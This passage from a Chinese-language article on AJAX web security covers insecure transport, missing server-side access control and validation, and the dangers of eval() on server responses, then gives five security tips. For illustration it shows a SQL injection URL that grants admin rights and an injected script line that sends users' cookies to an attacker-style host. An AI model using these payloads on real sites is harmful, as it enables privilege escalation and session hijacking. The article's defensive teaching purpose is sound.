5.不安全的通訊:每一個AJax調用可能只回傳很少數量的數據給客戶端,但那些數據是私有的、保密的。Max可以編寫一個便利的工具來對你的信用卡號碼進行數字校驗,但是如果使用純文本代替over SSL進行發送數據會怎樣呢?這是一個顯而易見的問題,但是當有許多例行程序需要考慮,特別是屏幕上其它99%的數據不是真正的機密數據時,很容易就會忽視掉SSL的。
6.服務器端訪問控制:使用JavaScript程序來觸發AJax經常會掩飾一些顯而易見的編碼錯誤,服務器端訪問控制就是一個例子。假設Max想參考你上次游覽的一個詳細目的地來為你提供你中意的旅館,他可能會是像下面這樣:
showprevioushotels.ASPx?userid=12345&destination=UK
這當然是非常好的,但是如果一個惡意用戶把URL改成了如下所示該怎麼辦呢:
showprevioushotels.ASPx?userid=12346&destination=%
他們會得到其他人最喜愛的旅館嗎?(注意:%在SQL語句中是通配符)。無疑,這是一個沒有什麼危害的例子,但是Max應該使用session、cookIE或者其它符號形式來確保數據能並且只能發送到正確的用戶那裡。它們可能僅僅是數據的一小部分,但它們可能就是最重要的一小部分。
7.服務器端驗證:實際上這裡有兩個問題。第一,AJax控制經常被用來在用戶最後提交到服務器之前的輸入驗證。這麻痺了Max,使Max有一種虛假的安全感,原因是他建立了稱作alloweddestinations.PHP的函數,根據用戶的ID來決定他們能夠到達的正確目的地。
因為這是一個服務器端的檢查,當這個頁面最後被提交的時候他不必再次為在服務器上做檢查而煩惱,這裡我們假定不會有惡意的用戶暗中破壞從alloweddestinations.PHP的響應或者破壞對服務器最後的請求。
AJax控制可以比用戶自己更仔細驗證用戶的輸入,但是他們還是經常在服務器上最後做一次驗證。
AJax驗證的第二個問題就是控制本身會受到驗證漏洞的影響。這裡再次強調一下,URL通常是隱藏著的,所以也會經常忘掉它。舉例說明一下,也許我可以使用SQL Injection來對剛才的腳本進行攻擊,如下所示:
showprevioushostels.ASPx?userid='; update users set type='admin' where userid=12345;--
就會讓我登錄後具有系統管理員的權限。當然,如何取得那些表名(table)和字段名已經超出了本文討論的范圍,但是你已經了解這種情況了,不是嗎?
8.客戶端驗證:我們已經知道在剛才的Google Suggest例子中,通過簡單評測服務端的響應後動態創建和執行JavaScript函數是可行的。如果沒有任何形式的驗證(如果這樣的話在客戶端很難保證可靠性和流暢性),客戶端將僅僅簡單執行服務器需要它完成的事情。
這樣的話,由於真正的代碼怎麼執行的對於一個普通用戶來講是永遠看不到的(也就是說你不能夠“查看源文件”),於是潛在地為惡意的黑客們打開了一個完全的攻擊導向。如果服務器的響應持續不斷地被搗亂(這種破壞行為可能是在Web服務器本身也可能是在數據傳輸過程中),這種攻擊將很難被發現。
Max使用下面的響應在目的地網頁上更新天氣圖標,他是用的函數是eval();函數:
updateWeatherIcon('cloudy.gif');
然而,惡意的cracker能夠把這個函數變成下面的形式,這樣要發現這種攻擊就更加困難了:
updateWeatherIcon('www.myhackingsite.ru/grab.ASPx?c=' + document.cookIEs); updateWeatherIcon('cloudy.gif');
我們現在能夠在我們自己的服務器上跟蹤每一個用戶的session ID/cookIE。
小結
毫無疑問,AJAX和AJAX-style技術都是通向web設計的光明大道。開發者可以在web上創造出以前從所未有的真正的“應用程序”,使用AJax必須小心謹慎,這樣才能夠保證web站點的安全。
然而,最大的威脅之一,來自日益復雜的使用AJax的客戶端腳本和服務器端腳本。這些腳本被技術手段隱藏在了視線之外,使測試很不直觀;同時,這種新技術看起來也使web開發者忘掉了基本的好的編碼方式。就像訪問控制和輸入校驗這樣的問題也不會消失,它們變得更多更復雜了。
5個最重要的AJax安全提示:
為了取得成功,你必須從好的計劃開始。必須集中你的才智減少和簡化AJax調用,創建一個標准的響應格式,在任何地方都要遵循這個協定(理想的XML)。
遵循來自像開放萬維網應用安全計劃那樣的站點的最優方法。這裡面特別包含了訪問控制和輸入校驗漏洞檢查,同時確保敏感信息使用over SSL勝過使用普通文本。
永遠不要假設服務器端AJAX對於訪問控制或者用戶輸入校驗檢查能夠代替在服務器上的最終再檢查。增加AJax控制永遠不會減少你的驗證工作量,它們只能增加你的工作量。
永遠不要假設客戶端的混淆技術(obfuscation,在這裡指使Javascript難於閱讀和解碼)能夠保護你非常重要的商業秘密。使用JavaScript是隱藏程序設計最沒用的一種手段,還能夠為你的對手提供好處。
最後,你必須非常好的領導你的開發團隊。使用AJax聽起來非常引人注目,但是你應該認識到要保留你的開發團隊以便開發版本2,當然現在你應該開發非常穩定的版本1。